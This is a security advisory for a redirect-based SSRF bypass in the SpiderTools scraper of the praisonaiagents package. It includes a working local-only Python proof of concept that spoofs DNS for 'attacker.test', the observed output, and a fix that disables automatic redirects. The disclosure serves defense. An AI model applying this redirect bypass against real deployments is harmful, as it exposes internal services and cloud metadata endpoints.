| Package | Affected versions | Patched versions |
|---|---|---|
| praisonaiagents | < 1.6.59 | 1.6.59 |
SpiderTools.scrape_page() validates the initial URL and rejects direct
loopback, private, link-local, metadata, and internal hostnames. It then calls
requests.Session.get() without disabling automatic redirects or validating
redirect Location targets.
Requests follows redirects by default for GET requests. A safe-looking public
URL can therefore pass _validate_url(), redirect to a blocked target such as
127.0.0.1 or 169.254.169.254, and have the redirected response body parsed
and returned by scrape_page().
The same sink is used by extract_links(), crawl(), and extract_text()
through their calls to scrape_page().
src/praisonai-agents/praisonaiagents/tools/spider_tools.py
Tested affected:
v3.9.24 / d08d98cav3.9.26 / 62472a23v4.6.56 / d3c4a2afv4.6.57 / e90d92231853161ad931f3498da57651a9f8b5282f9677abb2ea68eab864ee8b6a828fd0141612e1No patched version is known at report time.
Current main validates only the caller-supplied URL:
if not self._validate_url(url):
return {"error": f"Invalid or potentially dangerous URL: {url}"}
The fetch then uses Requests defaults:
response = session.get(
url,
timeout=timeout,
verify=verify_ssl
)
Because allow_redirects=False is not set, Requests follows a 3xx redirect to a
new destination that has not been checked by _validate_url() or
_host_is_blocked().
The PoV below is local-only and does not contact external infrastructure. It
starts a loopback-only internal service and a local redirector. During
PraisonAI's initial host validation, attacker.test is made to look like a
public address. During the actual HTTP request, it routes to the local
redirector, which returns 302 Location: http://127.0.0.1:<port>/secret.
Full PoV:
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"""Local PoV for SpiderTools redirect-target SSRF.
This uses only loopback services. The "attacker" hostname is treated as public
during PraisonAI's initial URL validation, then routed to a local redirector so
the PoV does not contact external infrastructure. The redirector points at a
loopback-only internal service. Vulnerable behavior is confirmed when
SpiderTools follows that redirect and returns the internal response body.
"""
from __future__ import annotations
import http.server
import importlib.util
import inspect
import os
import socket
import socketserver
import threading
from typing import Any
def _load_spider_tools_class():
module_file = os.environ.get("PRAISONAI_SPIDER_TOOLS_FILE")
if module_file:
spec = importlib.util.spec_from_file_location("pov_spider_tools", module_file)
if spec is None or spec.loader is None:
raise RuntimeError(f"Could not load spider_tools file: {module_file}")
module = importlib.util.module_from_spec(spec)
spec.loader.exec_module(module)
return module.SpiderTools
from praisonaiagents.tools.spider_tools import SpiderTools
return SpiderTools
class InternalHandler(http.server.BaseHTTPRequestHandler):
body = b"SPIDER-INTERNAL-SECRET"
def do_GET(self) -> None: # noqa: N802
self.server.hit = True # type: ignore[attr-defined]
self.send_response(200)
self.send_header("Content-Type", "text/html")
self.send_header("Content-Length", str(len(self.body)))
self.end_headers()
self.wfile.write(self.body)
def log_message(self, *_args: Any) -> None:
return
class RedirectHandler(http.server.BaseHTTPRequestHandler):
target = ""
def do_GET(self) -> None: # noqa: N802
self.server.hit = True # type: ignore[attr-defined]
self.send_response(302)
self.send_header("Location", self.target)
self.end_headers()
def log_message(self, *_args: Any) -> None:
return
def _called_from_spider_host_guard() -> bool:
return any(frame.function == "_host_is_blocked" for frame in inspect.stack())
def main() -> int:
os.environ.pop("ALLOW_LOCAL_CRAWL", None)
internal = socketserver.TCPServer(("127.0.0.1", 0), InternalHandler)
internal.hit = False # type: ignore[attr-defined]
internal_port = internal.server_address[1]
RedirectHandler.target = f"http://127.0.0.1:{internal_port}/secret"
redirect = socketserver.TCPServer(("127.0.0.1", 0), RedirectHandler)
redirect.hit = False # type: ignore[attr-defined]
redirect_port = redirect.server_address[1]
threading.Thread(target=internal.serve_forever, daemon=True).start()
threading.Thread(target=redirect.serve_forever, daemon=True).start()
original_getaddrinfo = socket.getaddrinfo
def fake_getaddrinfo(host: str, port: int, *args: Any, **kwargs: Any):
if host == "attacker.test":
if _called_from_spider_host_guard():
return [
(
socket.AF_INET,
socket.SOCK_STREAM,
6,
"",
("93.184.216.34", port),
)
]
return original_getaddrinfo("127.0.0.1", port, *args, **kwargs)
return original_getaddrinfo(host, port, *args, **kwargs)
tool = _load_spider_tools_class()()
socket.getaddrinfo = fake_getaddrinfo
try:
direct_control = tool.scrape_page(
f"http://127.0.0.1:{internal_port}/secret",
timeout=5,
)
redirect_result = tool.scrape_page(
f"http://attacker.test:{redirect_port}/go",
timeout=5,
)
vulnerable_redirect_hit = bool(redirect.hit) # type: ignore[attr-defined]
vulnerable_internal_hit = bool(internal.hit) # type: ignore[attr-defined]
redirect.hit = False # type: ignore[attr-defined]
internal.hit = False # type: ignore[attr-defined]
import requests
original_session_get = requests.Session.get
def no_redirect_get(self, url, **kwargs): # type: ignore[no-untyped-def]
kwargs.setdefault("allow_redirects", False)
return original_session_get(self, url, **kwargs)
requests.Session.get = no_redirect_get
try:
no_redirect_control = _load_spider_tools_class()().scrape_page(
f"http://attacker.test:{redirect_port}/go",
timeout=5,
)
finally:
requests.Session.get = original_session_get
no_redirect_redirect_hit = bool(redirect.hit) # type: ignore[attr-defined]
no_redirect_internal_hit = bool(internal.hit) # type: ignore[attr-defined]
finally:
socket.getaddrinfo = original_getaddrinfo
redirect.shutdown()
internal.shutdown()
redirect.server_close()
internal.server_close()
print("DIRECT_CONTROL:", direct_control)
print("REDIRECT_RESULT:", redirect_result)
print("REDIRECT_SERVER_HIT:", vulnerable_redirect_hit)
print("INTERNAL_SERVER_HIT:", vulnerable_internal_hit)
print("NO_REDIRECT_CONTROL:", no_redirect_control)
print("NO_REDIRECT_SERVER_HIT:", no_redirect_redirect_hit)
print("NO_REDIRECT_INTERNAL_HIT:", no_redirect_internal_hit)
if not isinstance(direct_control, dict) or "dangerous URL" not in str(direct_control):
raise SystemExit("control failed: direct loopback was not blocked")
if not isinstance(redirect_result, dict) or "error" in redirect_result:
raise SystemExit(f"bypass failed: unexpected result {redirect_result!r}")
if "SPIDER-INTERNAL-SECRET" not in str(redirect_result.get("content", "")):
raise SystemExit("bypass failed: internal body was not returned")
if not vulnerable_redirect_hit or not vulnerable_internal_hit:
raise SystemExit("bypass failed: expected local servers were not hit")
if not no_redirect_redirect_hit or no_redirect_internal_hit:
raise SystemExit("fix control failed: no-redirect mode reached internal service")
print("PRAI-CAND-004 CONFIRMED: SpiderTools follows a redirect to loopback")
return 0
if __name__ == "__main__":
raise SystemExit(main())
Run:
cd /Users/rexliu/Documents/GA\ code/REDit\ Deployment/stack/deploy
env PRAISONAI_SPIDER_TOOLS_FILE=/path/to/PraisonAI/src/praisonai-agents/praisonaiagents/tools/spider_tools.py \
uv run --with requests --with beautifulsoup4 --with lxml --python 3.11 \
poc_spider_tools_redirect_ssrf.py
Observed on current main:
DIRECT_CONTROL: {'error': 'Invalid or potentially dangerous URL: http://127.0.0.1:<port>/secret'}
REDIRECT_RESULT: {'url': 'http://attacker.test:<port>/go', 'status_code': 200, ... 'content': 'SPIDER-INTERNAL-SECRET', ...}
REDIRECT_SERVER_HIT: True
INTERNAL_SERVER_HIT: True
NO_REDIRECT_CONTROL: {'url': 'http://attacker.test:<port>/go', 'status_code': 302, ... 'Location': 'http://127.0.0.1:<port>/secret', ...}
NO_REDIRECT_SERVER_HIT: True
NO_REDIRECT_INTERNAL_HIT: False
PRAI-CAND-004 CONFIRMED: SpiderTools follows a redirect to loopback
The direct control proves direct loopback is blocked. The redirect result proves the same blocked destination is reached through a public-looking initial URL. The no-redirect control proves that disabling automatic redirects prevents the internal request while still receiving the external redirect response.
The Spider Tools documentation says scrape_page, extract_links, crawl, and
extract_text refuse dangerous URLs before network requests. The documented
blocked classes include loopback, private/reserved IPs, link-local/cloud
metadata endpoints, internal TLDs, non-HTTP(S) schemes, and parser-smuggling
forms. The same page states the validation is always on for bundled spider tools
and does not require enable_security().
The current code also documents _validate_url() as URL validation "to prevent
SSRF attacks." A redirect to a loopback target bypasses that documented
protection.
An attacker who can influence a URL passed to scrape_page(),
extract_links(), crawl(), or extract_text() can cause the PraisonAI process
to request destinations that SpiderTools is designed to block.
Potential impact includes:
The PoV demonstrates returned response-body disclosure from a loopback-only service. This report does not claim arbitrary code execution or live cloud credential theft without deployment-specific evidence.
Suggested default severity: Moderate.
High severity may be appropriate for deployments where untrusted users can directly invoke SpiderTools through a network-facing agent, bot, API, or MCP service and sensitive internal or metadata services are reachable.
Disable automatic redirects in scrape_page():
response = session.get(
url,
timeout=timeout,
verify=verify_ssl,
allow_redirects=False,
)
If redirects should remain supported, follow them manually and validate every
Location target before each hop using the same SSRF guard:
http or https;scrape_page(), extract_links(),
crawl(), and extract_text().Regression tests should cover direct loopback rejection, public-to-loopback
redirect rejection, public-to-public redirects if supported, and all
scrape_page() callers.